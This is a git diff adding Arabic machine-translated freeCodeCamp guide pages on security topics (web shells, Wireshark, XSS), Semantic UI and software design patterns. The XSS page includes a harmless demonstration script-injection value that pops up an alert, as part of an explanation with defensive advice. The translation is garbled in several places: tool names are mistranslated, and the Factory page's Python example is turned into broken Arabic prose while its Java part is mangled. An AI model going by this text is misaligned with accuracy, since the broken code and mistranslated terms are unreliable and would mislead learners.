+الابتعاد عن مواقع الويب غير الموثوق بها والمواد المقرصنة ووصلات suspiciouse. إذا كنت تريد حقاً البقاء محميًا ، فيمكنك استخدام برامج طرف ثالث مثل برامج مكافحة البرامج الضارة.
+
+#### معلومات اكثر:
+
+[حصان طروادة (الحوسبة) على ويكيبيديا](https://en.wikipedia.org/wiki/Trojan_horse_(computing)) [أساسيات حصان طروادة - من AVG](https://www.avg.com/en/signal/what-is-a-trojan)
\ No newline at end of file
diff --git a/client/src/guide/arabic/security/vpn/index.md b/client/src/guide/arabic/security/vpn/index.md
new file mode 100644
index 0000000000..0f3b2d6ba9
--- /dev/null
+++ b/client/src/guide/arabic/security/vpn/index.md
@@ -0,0 +1,11 @@
+---
+title: VPNs
+localeTitle: الشبكات الخاصة الإفتراضية
+---
+## الشبكات الخاصة الإفتراضية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/security/vpn/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/security/web-shells/index.md b/client/src/guide/arabic/security/web-shells/index.md
new file mode 100644
index 0000000000..5337c00e8d
--- /dev/null
+++ b/client/src/guide/arabic/security/web-shells/index.md
@@ -0,0 +1,20 @@
+---
+title: Web Shell
+localeTitle: شل الويب
+---
## شل الويب
+
+### ما هو الويب شل؟
+
+وهو نوع من البرامج الضارة.وهي قذيفة التي يمكنك تشغيل الأوامر على خادم الويب.
+
+### ماذا تفعل شل ويب؟
+
+*   في الواقع ، يمكنك القيام بالكثير من الأشياء مع قذائف الويب يمكنك الوصول إلى قاعدة البيانات ويمكنك تفريغ جميع البيانات ، يمكنك حذف شيء ما على الخادم أو إضافة شيء ما (مثل الباب الخلفي). في الواقع هذا عن ميزات قذائف الويب ، التي استخدمتها أو قمت بإنشائها.
+
+### كيف تبدو قذائف الويب؟
+
+يمكن أن يبدو مثل ملف .php أو ملف .asp هذا عن خادم الويب الخاص بك (يمكن أن يكون خادم linux أو windows).
+
+### كيف أحمي نفسي ضد قذائف الويب؟
+
+ابق بعيداً عن كود السباغيتي ، استخدم نمط تصميم معروف في مشاريعك ، وكن متفرغًا بشكل خاص في نماذج HTML الخاصة بك تصفية ما تحمّله على خادمك ولا تثق في المستخدمين.
\ No newline at end of file
diff --git a/client/src/guide/arabic/security/wireshark/index.md b/client/src/guide/arabic/security/wireshark/index.md
new file mode 100644
index 0000000000..038003a9d7
--- /dev/null
+++ b/client/src/guide/arabic/security/wireshark/index.md
@@ -0,0 +1,56 @@
+---
+title: Wireshark
+localeTitle: إيثار ريال
+---
+## إيثار ريال
+
+Wireshark عبارة عن تطبيق محلل شبكة مفتوح المصدر متاح لنظام التشغيل Linux و MacOS و Windows. انها تسمح لك ل"شم" [الحزم](../../network-engineering/packets/) التي يتم إرسالها إلى ومن العقد المختلفة على الشبكة.
+
+#### لماذا استخدام Wireshark؟
+
+تعتبر Wireshark أداة قوية ، قد تستخدمها في:
+
+*   تعرف على كيفية استخدام البروتوكولات المختلفة في الشبكات
+*   استكشاف مشاكل الشبكة وإصلاحها
+*   تحليل حركة المرور من خلال الشبكة الخاصة بك
+*   قم بتحليل البيانات التي يتصل بها برنامجك بالخوادم البعيدة
+*   تحقق من أن البيانات يتم تشفيرها بشكل صحيح قبل إرسالها
+*   تطوير بروتوكولات الاتصال الشبكي
+*   تحقق من وجود [أحصنة طروادة](../trojans/) أو غيرها من البرامج الضارة على جهاز الكمبيوتر الخاص بك
+
+#### كيف أبدأ؟
+
+لاستخدام Wireshark في أبسط أشكالها:
+
+1.  [قم بتنزيل](https://www.wireshark.org/download.html) وتثبيت التطبيق.
+2.  حدد `interface` التي ترغب في التقاط الحزم عليها ، ومن المرجح أن يكون هذا هو إيثرنت أو محول واي فاي الخاص بك.
+3.  شاهد الدفق الجميل للحزم المشفرة بالألوان واجعل التطبيق يلتقطها طوال المدة التي تريدها.
+4.  عندما يكون لديك ما يكفي من الحزم ، حدد زر الإيقاف.
+5.  احفظ الحزم التي تم التقاطها إذا كنت ترغب في الاحتفاظ بها للتحليل المستمر. يتم ذلك كملف `.pcap` وهو تنسيق قياسي _لحزم_ `.pcap` .
+
+![Screenshot of Wireshark on MacOS](https://thejayhaykid.github.io/images/Wireshark.png "Wireshark على ماك")
+
+#### التحليل والترشيح والتفتيش
+
+الآن لديك مجموعة من الحزم ، ولكن ماذا يعني كل هذا؟ تشير الألوان المختلفة التي شاهدتها إلى أنواع مختلفة من الزيارات. بشكل افتراضي بعض الألوان هي:
+
+*   أرجواني فاتح - رزم بروتوكول التحكم في الإرسال (TCP) ؛
+*   أزرق فاتح - رزم بروتوكول مخطط بيانات المستخدم (UDP) ؛
+*   أسود - أخطاء
+
+> ملاحظة: يمكن تخصيص جميع هذه الألوان ولكن ضع في اعتبارك أن كل حزمة قد تتناسب مع أكثر من فئة واحدة ، لذلك يجب عليك أيضًا تحديد أولويات هذه القواعد.
+
+تعد تصفية الحزم طريقة سريعة للعثور على ما تبحث عنه. ما عليك سوى إدخال إدخال النص في أعلى النافذة لعرض الحزم التي تطابق استعلامك فقط. على سبيل المثال ، إذا كنت [تبحث في حركة مرور HTTPS](https://en.wikiversity.org/wiki/Wireshark/HTTPS) ، فأدخل `ssl` في الفلتر. سيؤدي هذا إلى عرض جميع الحزم المرتبطة باتصالات HTTPS.
+
+الآن بعد أن عثرت على بعض الحزم ذات الصلة ، حدد واحدة لعرض المزيد من التفاصيل عنها. اعتمادًا على نوع الحزمة التي تفقدها ، سيعطيك هذا الكثير من المعلومات التفصيلية. بعض التفاصيل الأساسية سوف تشمل:
+
+*   البروتوكول المستخدم
+*   عنوان المصدر والمنفذ
+*   عنوان الوجهة والمنفذ
+*   أوقات الاستجابة
+
+### معلومات اكثر:
+
+[Wireshark.org](https://www.wireshark.org)  
+[Wireshark - ويكيبيديا](https://en.wikipedia.org/wiki/Wireshark)  
+[كيفية استخدام Wireshark لالتقاط وتصفية وفحص الحزم - كيفية المهوس](https://www.howtogeek.com/104278/how-to-use-wireshark-to-capture-filter-and-inspect-packets/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/security/xss-cross-site-scripting/index.md b/client/src/guide/arabic/security/xss-cross-site-scripting/index.md
new file mode 100644
index 0000000000..bea3f29689
--- /dev/null
+++ b/client/src/guide/arabic/security/xss-cross-site-scripting/index.md
@@ -0,0 +1,41 @@
+---
+title: XSS Cross Site Scripting
+localeTitle: XSS عبر برمجة الموقع
+---
+## XSS عبر برمجة الموقع
+
+يعد البرمجة عبر الموقع (XSS) نوعًا من أنواع حقن الكود. وهو أحد أكثر نقاط الضعف شيوعًا على الويب.
+
+عادةً ما ينطوي XSS على إدخال رمز في نموذج أو معلمة url أو أي مكان آخر يقبل إدخال المستخدم الذي يتم عرضه للمستخدمين. على سبيل المثال ، تخيل موقع ويب أظهر ملف تعريف المستخدم الخاص بك ، وقمت بإدخال `<script>alert("HELLO!");</script>` كاسم المستخدم الخاص بك. إذا لم يمنع الموقع XSS ، فسيحصل كل شخص زار ملفك الشخصي على نافذة تنبيه منبثقة.
+
+#### أنواع مختلفة من XSS
+
+هناك 3 أنواع مختلفة من XSS.
+
+*   مخزنة XSS
+*   عاكس XSS
+*   DOM Based XSS
+
+#### مخاطر XSS
+
+بالطبع ، لا يقدم المثال أعلاه أي خطر مباشر على الأشخاص الذين يشاهدون ملفك الشخصي. ولكن ، ماذا لو كان لديك نوايا أكثر شرا؟ يمكنك تنفيذ بعض javascript لإظهار صفحة تسجيل دخول مزيفة ، وجمع أسماء المستخدمين وكلمات المرور للمستخدمين الآخرين للموقع ، أو ببساطة قراءة ملف تعريف ارتباط الجلسة إذا لم يكن آمنًا. يمكنك إجبارهم على زيارة مواقع ويب أخرى أو تنفيذ إجراء.
+
+#### الدفاع ضد XSS
+
+*   لا تثق أبدًا ببيانات المستخدم
+*   التحقق من صحة البيانات غير الموثوقة (التحقق من وجود بيانات صالحة ، أو رفضها ، بدلاً من معالجتها)
+*   قيم آمنة في القائمة البيضاء (بدلاً من القائمة السوداء)
+*   قم دائمًا بتشفير الإخراج
+*   ترميز للسياق الصحيح (تختلف سمات HTML / HTML / CSS / JSS)
+*   حماية ملفات تعريف الارتباط (يمكن قراءة HTTP فقط وآمن فقط من قبل الخادم)
+*   تطبيق سياسة أمن المحتوى
+
+#### معلومات اكثر:
+
+اقرأ المزيد من المعلومات عن XSS والخطوات التي يمكنك اتخاذها للحماية من:
+
+[برمجة عبر المواقع (XSS)](https://www.owasp.org/index.php/Cross-site_Scripting_(XSS) )
+
+[OWASP XSS (البرمجة عبر الموقع) منع ورقة الغش](https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)
+
+[Hacksplaining XSS الدرس](https://www.hacksplaining.com/exercises/xss-stored)
\ No newline at end of file
diff --git a/client/src/guide/arabic/semantic-ui/index.md b/client/src/guide/arabic/semantic-ui/index.md
new file mode 100644
index 0000000000..8ea97b626c
--- /dev/null
+++ b/client/src/guide/arabic/semantic-ui/index.md
@@ -0,0 +1,99 @@
+---
+title: Semantic UI
+localeTitle: واجهة المستخدم الدلالية
+---
+## واجهة المستخدم الدلالية
+
+#### المقدمة
+
+واجهة المستخدم الدلالية هي إطار تطوير أمامي يشبه برنامج التمهيد الذي تم تصميمه للاستخدام. يحتوي على مكونات دلالية مبنية مسبقًا تساعد في إنشاء تخطيطات جميلة وسريعة الاستجابة باستخدام HTML سهل الاستخدام.
+
+وفقًا لموقع الويب المستخدم في واجهة المستخدم ، يستخدم إطار العمل HTML المختصر وجافا سكريبت البديهي ، وتصحيح الأخطاء المبسطة لجعل التطوير الأمامي تجربة ممتعة وممتعة. وهو يتكامل مع React و Angular و Meteor و Ember والعديد من الأطر الأخرى للمساعدة في تنظيم طبقة واجهة المستخدم جنبًا إلى جنب مع منطق التطبيق.
+
+#### تاريخ النسخة
+
+يظهر الإصدار التجريبي الأول في جيثب في سبتمبر 2013 ، الذي أنشأه [Jack Lukic](https://github.com/jlukic) .
+
+UI الدلالي `1.x` صدر لأول مرة في نوفمبر 2014 مع كسر التغييرات إلى الإصدارات السابقة السابقة.
+
+تم إصدار واجهة المستخدم الدلالية `2.x` لأول مرة في يونيو 2015 وقدمت واجهة مستخدم جديدة وعدة إصلاحات للأخطاء وتحسينات وإدخال تحسينات على المظهر الافتراضي.
+
+#### دعم المتصفح
+
+يدعم الإصدار الحالي `2.2.x` المتصفحات التالية
+
+*   آخر 2 إصدارات FF ، Chrome ، Safari Mac
+*   IE 11+
+*   Android 4.4+ ، Chrome for Android 44+
+*   iOS Safari 7+
+*   مايكروسوفت ايدج 12+
+
+#### التركيب
+
+هناك عدة طرق لتثبيت واجهة المستخدم الدلالية ، بعض من أبسط الطرق هي كما يلي:
+
+1.  **عبر شبكة تسليم المحتوى (CDN)**
+
+هو إلى حد بعيد أسهل للمبتدئين. قم بإنشاء ملف HTML على النحو التالي
+
+ `
+<!DOCTYPE html> 
+ <html> 
+  <head> 
+    <title>Semantic UI</title> 
+    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/semantic-ui/2.2.13/semantic.min.css"> 
+    <!-- Add custom stylesheet here --> 
+  </head> 
+  <body> 
+ 
+    <!-- Write your html code here --> 
+ 
+    <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script> 
+    <script src="https://cdnjs.cloudflare.com/ajax/libs/semantic-ui/2.2.13/semantic.min.js"></script> 
+  </body> 
+ </html> 
+` 
+
+`NOTE:` سيشمل ارتباط CDN أعلاه على السطر 5 جميع المكونات المتاحة في واجهة المستخدم الدلالية. إذا كنت ترغب في تثبيت مكون معين ، [انقر هنا](https://cdnjs.com/libraries/semantic-ui) لرؤية ارتباط CDN الخاص به.
+
+2.  **باستخدام أدوات البناء**
+
+هذا سوف يفترض أنك تستخدم نظام التشغيل Ubuntu Linux مع `node` و `npm` ، لأنظمة التشغيل الأخرى [انقر هنا](https://semantic-ui.com/introduction/getting-started.html)
+
+في دليل المشروع الخاص بك ، قم بتثبيت gulp عالميًا باستخدام npm
+
+ `npm install -g gulp 
+` 
+
+تثبيت واجهة المستخدم الدلالية
+
+ `npm install semantic-ui --save 
+ cd semantic/ 
+ gulp build 
+` 
+
+تضمين في HTML
+
+ `
+<link rel="stylesheet" type="text/css" href="semantic/dist/semantic.min.css"> 
+ <script src="https://code.jquery.com/jquery-3.1.1.min.js" integrity="sha256-hVVnYaiADRTO2PzUGmuLJr8BLUSjGIZsDYGmIJLv2b8=" crossorigin="anonymous"></script> 
+ <script src="semantic/dist/semantic.min.js"></script> 
+` 
+
+تحديث عن طريق npm
+
+ `npm update 
+` 
+
+3.  **التكامل مع الأطر الأخرى**
+
+يمكنك دمج واجهة المستخدم الدلالية مع أطر تطوير الواجهة الأمامية الأخرى مثل React أو Angular أو Ember أو Meteor. [انقر هنا](https://semantic-ui.com/introduction/integrations.html) لمزيد من المعلومات وإرشادات التكامل.
+
+#### معلومات اكثر
+
+تحتوي واجهة المستخدم الدلالية على وثائق شاملة ومنظمة تنظيماً جيداً ، والتي ستنقلك في أي وقت من الأوقات. الروابط التالية ستكون مفيدة في رحلتك في واجهة المستخدم.
+
+*   [موقع واجهة المستخدم الدلالية](https://semantic-ui.com/)
+*   [الابتداء مع واجهة المستخدم الدلالية](https://semantic-ui.com/introduction/getting-started.html)
+*   [عينة قوالب UI الدلالية](https://semantic-ui.com/usage/layout.html#pages)
+*   [تخصيص وإنشاء سمات UI الدلالية](http://learnsemantic.com/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/semantic-ui/semantic-ui-buttons/index.md b/client/src/guide/arabic/semantic-ui/semantic-ui-buttons/index.md
new file mode 100644
index 0000000000..fc213c8820
--- /dev/null
+++ b/client/src/guide/arabic/semantic-ui/semantic-ui-buttons/index.md
@@ -0,0 +1,106 @@
+---
+title: Semantic UI Buttons
+localeTitle: أزرار واجهة المستخدم الدلالية
+---
+## أزرار واجهة المستخدم الدلالية
+
+يشير الزر إلى إجراء محتمل للمستخدم. توفر واجهة المستخدم Semantic بناء جملة سهلة الاستخدام يبسط ليس فقط تصميم زر ، ولكن أيضا دلالات اللغة الطبيعية.
+
+#### كيف تستعمل
+
+تتم إضافة فئة واجهة المستخدم الدلالية ببساطة إلى عنصر زر ، تم إعطاء أمثلة مختلفة أدناه للإشارة إلى كيفية استخدامها.
+
+#### أنواع
+
+*   زر قياسي
+
+معيار واجهة المستخدم الدلالي زر
+
+ `<button class="ui button">Standard Button</button> 
+` 
+
+*   التركيز على زر
+
+زر مع مستوى مختلف من التركيز
+
+ `<button class="ui primary button"> 
+` 
+
+تعتبر فئات التركيز الأخرى `secondary` `positive` `negative`
+
+*   زر متحرك
+
+زر مع الرسوم المتحركة ، تظهر محتويات مخفية
+
+ `<div class="ui animated fade button" tabindex="0"> 
+  <div class="visible content">Sign-up for a Pro account</div> 
+  <div class="hidden content">$12.99 a month</div> 
+ </div> 
+` 
+
+خاصية `tabindex="0"` أعلاه تجعل لوحة مفاتيح الأزرار `tabindex="0"` ، حيث أن العلامة `<button>` لم يتم استخدامها.
+
+*   زر التسمية
+
+زر بجانب علامة
+
+ `<div class="ui labeled button" tabindex="0"> 
+  <div class="ui button"><i class="heart icon"></i> Like</div> 
+  <a class="ui basic label">2,048</a> 
+ </div> 
+` 
+
+يتم استخدام العنصر `<i>` لتحديد رمز ، هنا هو رمز قلب `<i class="heart icon"></i>` إلى جانب العلامة الأساسية `<a class="ui basic label">2,048</a>`
+
+*   أيقونة زر
+
+يمكن أن يكون زر واجهة المستخدم الدلالية مجرد رمز
+
+ `<button class="ui icon button"> 
+  <i class="camera icon"></i> 
+ </button> 
+` 
+
+ما سبق هو مجرد رمز الكاميرا
+
+#### المجموعات
+
+يمكن أن توجد أزرار واجهة المستخدم الدلالية في مجموعة
+
+ `<div class="ui buttons"> 
+  <button class="ui button">One</button> 
+  <button class="ui button">Two</button> 
+  <button class="ui button">Three</button> 
+ </div> 
+` 
+
+#### يحتوى
+
+يمكن أن تحتوي أزرار واجهة المستخدم الدلالية على شرطية
+
+ `<div class="ui buttons"> 
+  <button class="ui positive button">Yes</button> 
+  <div class="or" data-text="or"></div> 
+  <button class="ui negative button">No</button> 
+ </div> 
+` 
+
+#### تنص على
+
+يمكن أن توجد أزرار واجهة المستخدم الدلالية في حالات مختلفة ، `active` ، `disabled` ، `loading` . ببساطة إضافة اسم الدولة إلى `class` سمة `of` \`العنصر.
+
+ `<button class="ui loading button">Loading</button> 
+` 
+
+#### الاختلافات
+
+توجد أزرار UI الدلالي في مجموعة متنوعة من الأحجام، `mini` ، `tiny` ، `small` ، `medium` ، `large` ، `big` ، `huge` ، و `massive` .
+
+ `<button class="ui massive button">Massive Button</button> 
+` 
+
+هناك الكثير حول أزرار UI الدلالية ، قم بزيارة الرابط المقدم في قسم "مزيد من المعلومات" لمعرفة المزيد.
+
+#### معلومات اكثر:
+
+*   [واجهة المستخدم الدلالي أزرار المستندات](https://semantic-ui.com/elements/button.html)
\ No newline at end of file
diff --git a/client/src/guide/arabic/software-engineering/code-coverage/index.md b/client/src/guide/arabic/software-engineering/code-coverage/index.md
new file mode 100644
index 0000000000..4bf1c3555d
--- /dev/null
+++ b/client/src/guide/arabic/software-engineering/code-coverage/index.md
@@ -0,0 +1,23 @@
+---
+title: Code Coverage
+localeTitle: مدونة التغطية
+---
+## مدونة التغطية
+
+عندما تقوم بتشغيل اختبارات مؤتمتة على البرامج للعثور على أخطاء ، فإن **تغطية الكود** هي قياس لمدى تنفيذ الشفرة التي تختبرها فعليًا أثناء الاختبارات.
+
+الكود الذي لم يتم تنفيذه أثناء الاختبار ، بحكم التعريف ، لم يتم اختباره ، ولذلك قد يحتوي على أخطاء. إذاً بشكل عام ، فإن تغطية الكود الأعلى التي أبلغ عنها جناح الاختبار ، تقل فرصة وجود أخطاء لا تتم ملاحظتها.
+
+هذا لا يعني أن تغطية الكود بنسبة 100٪ تعني فرصة٪ 0 من الخلل ، ولكن! من السهل تخيل موقف يتم فيه استدعاء جميع الوظائف المتوفرة في جزء من التعليمات البرمجية ، ولكن ليس بالضرورة مع مدخلات تمثل جميع أنواع السيناريوهات التي قد تتوقعها من المستخدمين الحقيقيين.
+
+لا تثير خصوصيات وعموميات كيفية تغطية الكود الكثير من الاهتمام حتى تستخدم الاختبار الآلي في واقع الأمر وتحاول التأكد من قيامك بذلك بشكل فعال.
+
+#### معلومات اكثر
+
+[ويكيبيديا - تغطية الكود](https://en.wikipedia.org/wiki/Code_coverage)
+
+[دليل freeCodeCamp - اختبار قيادة التنمية](https://guide.freecodecamp.org/agile/test-driven-development)
+
+[دليل freeCodeCamp - وحدة الاختبارات](https://guide.freecodecamp.org/software-engineering/unit-tests)
+
+[دليل freeCodeCamp - التكامل المستمر](https://guide.freecodecamp.org/agile/continuous-integration)
\ No newline at end of file
diff --git a/client/src/guide/arabic/software-engineering/design-patterns/builder/index.md b/client/src/guide/arabic/software-engineering/design-patterns/builder/index.md
new file mode 100644
index 0000000000..843a935bee
--- /dev/null
+++ b/client/src/guide/arabic/software-engineering/design-patterns/builder/index.md
@@ -0,0 +1,69 @@
+---
+title: Builder
+localeTitle: باني
+---
+البناء هو نمط تصميم يمكن أن يخلص ويقسم إنشاء كائن معقد جدا.
+
+## باني في بايثون
+
+هنا مثال على تنفيذ Builder Pattern في Python3.
+
+ `# Builder 
+ class CourseBuilder(object): 
+    def __init__(self, teacher): 
+        self.teacher = teacher 
+ 
+    def build_course(self): 
+        self.teacher.provide_homework() 
+        self.teacher.provide_exam() 
+        return self.teacher.course 
+ 
+ # Teacher 
+ class Teacher(object): 
+    def __init__(self, name=None): 
+        self.name = name 
+        self.course = Course() 
+ 
+    def provide_homework(self): 
+        raise NotImplementedError 
+ 
+    def provide_exam(self): 
+        raise NotImplementedError 
+ 
+ 
+ class MathTeacher(Teacher): 
+    def provide_homework(self): 
+        self.course.homework = 'This is Math homework provided by {}.'.format(self.name) 
+ 
+    def provide_exam(self): 
+        self.course.exam = 'This is Math exam tested by {}.'.format(self.name) 
+ 
+ 
+ class HistoryTeacher(Teacher): 
+    def provide_homework(self): 
+        self.course.homework = 'This is History homework provided by {}.'.format(self.name) 
+ 
+    def provide_exam(self): 
+        self.course.exam = 'This is History exam tested by {}.'.format(self.name) 
+ 
+ 
+ # Target objects to be produced 
+ class Course(object): 
+    def __init__(self): 
+        self.homework = None 
+        self.exam = None 
+ 
+    def __str__(self): 
+        return 'Homework: {}\nExam: {}\n'.format(self.homework, self.exam) 
+ 
+ 
+ math_course = CourseBuilder(MathTeacher('Harry')).build_course() 
+ print(math_course) 
+ >>> Homework: This is Math homework provided by Harry. 
+ >>> Exam: This is Math exam tested by Harry. 
+ 
+ history_course = CourseBuilder(HistoryTeacher('Potter')).build_course() 
+ print(history_course) 
+ >>> Homework: This is History homework provided by Potter. 
+ >>> Exam: This is History exam tested by Potter. 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/software-engineering/design-patterns/decorator/index.md b/client/src/guide/arabic/software-engineering/design-patterns/decorator/index.md
new file mode 100644
index 0000000000..85f8b33487
--- /dev/null
+++ b/client/src/guide/arabic/software-engineering/design-patterns/decorator/index.md
@@ -0,0 +1,39 @@
+---
+title: Decorator
+localeTitle: مزخرف
+---
+الديكور هو نمط تصميم يمكن أن يقوم بتعديل أو تحسين واجهة الصف.
+
+## ديكور في بيثون 3
+
+هنا مثال على تنفيذ Decorator في Python3.
+
+ `class MyText(object): 
+    def __init__(self, text=''): 
+        self.text = text 
+ 
+    def __str__(self): 
+        return 'This is {}'.format(self.text) 
+ 
+ 
+ class BracketDecorator(object): 
+    def __init__(self, decoratee): 
+        self._decoratee = decoratee 
+ 
+    def __str__(self): 
+        return '({})'.format(self._decoratee) 
+ 
+ 
+ class QuoteDecorator(object): 
+    def __init__(self, decoratee): 
+        self._decoratee = decoratee 
+ 
+    def __str__(self): 
+        return '\"{}\"'.format(self._decoratee) 
+ 
+ 
+ print(BracketDecorator(MyText('apple'))) 
+ >>> (This is apple) 
+ print(QuoteDecorator(MyText('banana'))) 
+ >>> "This is banana" 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/software-engineering/design-patterns/factory-method/index.md b/client/src/guide/arabic/software-engineering/design-patterns/factory-method/index.md
new file mode 100644
index 0000000000..c79ef3f8d0
--- /dev/null
+++ b/client/src/guide/arabic/software-engineering/design-patterns/factory-method/index.md
@@ -0,0 +1,11 @@
+---
+title: Factory Method
+localeTitle: طريقة المصنع
+---
+## طريقة المصنع
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/machine-learning/monte-carlo/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/software-engineering/design-patterns/factory/index.md b/client/src/guide/arabic/software-engineering/design-patterns/factory/index.md
new file mode 100644
index 0000000000..3adf138715
--- /dev/null
+++ b/client/src/guide/arabic/software-engineering/design-patterns/factory/index.md
@@ -0,0 +1,79 @@
+---
+title: Factory
+localeTitle: مصنع
+---
+المصنع عبارة عن نمط تصميم يهدف إلى تقليل التبعيات بين الطبقات التي تعمل على توليد (إنشاء) الأشياء والأشياء نفسها ، من خلال إنشاء فئة "المصنع" التي تتعامل مع إنشاء الطبقات. من خلال القيام بذلك ، يمكننا السماح للفئات الفرعية بإعادة تعريف أي فئة لتكوينها ، وتجميع منطق الإنشاء المحتمل أن يكون معقدًا في واجهة واحدة.
+
+يستخدم المبرمجون أنماط تصميم المصنع لأنها تسمح لهم بإنشاء حالات من الكائنات التي تقوم بتطبيق واجهة مشتركة ، دون أن يكونوا بالضرورة على علم مسبق بفئة الخرسانة الدقيقة (التطبيق) المستخدمة. ومن الحالات الشائعة التي يكون فيها ذلك مفيدًا عندما تعتمد فئة رئيسية على فصولها الفرعية لتحديد نوع الكائن الذي يجب أن يكون فوريًا. وهو مفيد أيضًا عندما يكون إنشاء كائن معقدًا ، لأنه يسمح للمبرمج بتجميع الكود في فئة واحدة وتقليل الازدواجية.
+
+## باستخدام نمط المصنع في جافا
+
+لاستخدام نمط تصميم المصنع ، تحتاج أولاً إلى واجهة - كائن به فئة وأسماء متغيرة ، لكن دون تعريفات. على سبيل المثال ، لدينا هنا واجهة Java للحيوانات.
+
+\`\` \`  
+الواجهة العامة Animal { الفراغ الحديث () ؛ }
+
+ `We now need to have "concrete classes" - classes which implement our interface and define the associated functions/ variables. 
+` 
+
+ `public class Dog implements Animal { 
+ 
+    @Override 
+    public void talk() { 
+        System.out.println("Woof"); 
+    } 
+ } 
+` 
+
+ `public class Cat implements Animal { 
+ 
+    @Override 
+    public void talk() { 
+        System.out.println("Meow!"); 
+    } 
+ } 
+` 
+
+ `We now define our "AnimalFactory" - the class which will handle the creation of these classes. 
+` 
+
+ `public class AnimalFactory { 
+ 
+    public Animal getAnimal(String animalType) { 
+        if (animalType.equals("dog")) { 
+            return new Dog(); 
+        } else if (animalType.equals("cat")) { 
+            return new Cat(); 
+        } 
+        return null; 
+    } 
+ } 
+` 
+
+ `Now when we want to create a new Cat object, instead of saying something like ``` Cat cat = new Cat(); ```, we use the factory class that we have defined. For example: 
+` 
+
+ `    AnimalFactory animalFactory = new AnimalFactory(); 
+ 
+    Animal cat = animalFactory.getAnimal("cat"); 
+    cat.talk(); 
+` 
+
+ `Here we can see that the class with this instance of "Cat" doesn't really know which animal it has. But this doesn't matter - because all the classes the factory creates are concrete classes of the same interface, the parent class doesn't need to know the exact class it is using. 
+ 
+ 
+ ## Factory in Python3 
+ We can implement a Factory easily with static methods. 
+` 
+
+الثعبان فئة الشراب (الكائن): def **init** (self، name، price = None): self.name = الاسم self.price = السعر
+
+فئة الشاي (شرب): def **str** (الذاتية): return 'This is tea: {} in $ {}'. format (self.name، self.price)
+
+حليب صنف (شراب): def **str** (الذاتية): return "هذا هو الحليب: {} بتنسيق $ {}". (self.name و self.price)
+
+فئة DrinkFactory (الكائن): staticmethod def def ( _نوع_ الشراب _\= لا شيء ، \* args ، \* _kwargs): إذا كان_ نوع _الشراب_ == 'شاي': عودة الشاي (_ args ، \* _kwargs) _نوع_ المشروب المفضل _\== 'milk': رجوع حليب (_ args، \*\* kwargs) رفع NotImplementedError ("{} المشروب غير موجود.". تنسيق (_ نوع _الشراب_ )
+
+# اختبارات
+
+_الشاي_ الأسود _\= DrinkFactory.generate ("الشاي" ، "الشاي الأسود" ، السعر = 4.39)_ الحليب _الكامل_ = DrinkFactory.generate ('milk' ، 'Whole Milk' ، السعر = 5.49) طباعة ( _الشاي_ الأسود _) طباعة (_ حليب _كامل_ الدسم) \`\` \`
\ No newline at end of file
diff --git a/client/src/guide/arabic/software-engineering/design-patterns/finite-state-machine/index.md b/client/src/guide/arabic/software-engineering/design-patterns/finite-state-machine/index.md
new file mode 100644
index 0000000000..aa435fabff
--- /dev/null
+++ b/client/src/guide/arabic/software-engineering/design-patterns/finite-state-machine/index.md
@@ -0,0 +1,66 @@
+---
+title: Finite State Machine
+localeTitle: آلة الدولة المحدودة
+---
+إن آلة الحالة المحدودة (FSM) هي نمط تصميم برمجي حيث ينتقل نموذج معين إلى حالات سلوكية أخرى من خلال المدخلات الخارجية.
+
+## آلة الدولة المحدودة
+
+يتم تعريف FSM من خلال **حالاتها** ، وهي **الحالة الأولية** **والتحولات** .
+
+تأتي قوة FSM من القدرة على تحديد _السلوكيات_ المختلفة بوضوح في ظروف مختلفة. عادة ما يتم استخدام FSM مع البرامج النصية السلوكية التي تقوم باستمرار بتقييم الوضع الحالي في حلقة أو مع الأحداث.
+
+للمساعدة في تشكيل صورة عن كيفية تطبيق ذلك ، سيتم استخدام ماكينة قهوة كمثال على آلة الحالة المحدودة. وسنغطي أيضًا رسمًا بيانيًا لتصور FSM وتقديم أمثلة ترميز.
+
+### الرسم التخطيطي للدولة
+
+![آلة القهوة آلة الدولة محدودة الرسم التخطيطي](https://raw.githubusercontent.com/arunma/blogimages/master/AkkaFSM/CoffeeMachineFSM.png) يوضح هذا الرسم البياني ثلاث حالات محتملة لآلة القهوة:
+
+*   افتح
+*   ReadyToBuy
+*   قطع التيار الكهربائي عنه
+
+الخطوط بين هذه الدول تظهر التحولات الممكنة بين الدول وفي أي اتجاه. هذه التحولات لديها شروط عندما تحتاج إلى تغيير FSM بين الدول.
+
+*   StartUpMachine من حالة التشغيل إلى حالة الفتح ، يجب أن تبدأ الماكينة في التشغيل. يتم ذلك يدويا في هذه الحالة.
+    
+*   إيداع> = تكلفة القهوة تقوم FSM بتقييم مبلغ الأموال المودعة إما في حلقة أو عندما يتغير المبلغ (موصى به في هذه الحالة) إذا قمت بإيداع ما يكفي من النقود في آلة صنع القهوة ، فستتحول FSM من "Open" إلى "ReadyToBuy".
+    
+*   ShutdownMachine سينتقل الجهاز تلقائيًا من Open إلى PoweredOff من خلال أسلوب ShutDownMachine إذا تم استيفاء الشرط 'لا مزيد من القهوة المتبقية'.
+    
+*   DispenseCoffee في حالة ReadyToBuy يمكن للمستخدم شراء القهوة وبعد ذلك سيتم تخميرها وصرفها. الشرط هو عندما يبدأ الحدث BuyCoffee (! رابط لنمط المراقب!). (غير موضح في الرسم التخطيطي)
+    
+*   CancelCoffee إذا اختار المستخدم الإلغاء ، فسينتقل الجهاز من ReadyToBuy إلى Open.
+    
+*   ShutDownMachine سوف تذهب الآلة إلى حالة النظام
+    
+
+### تنص على
+
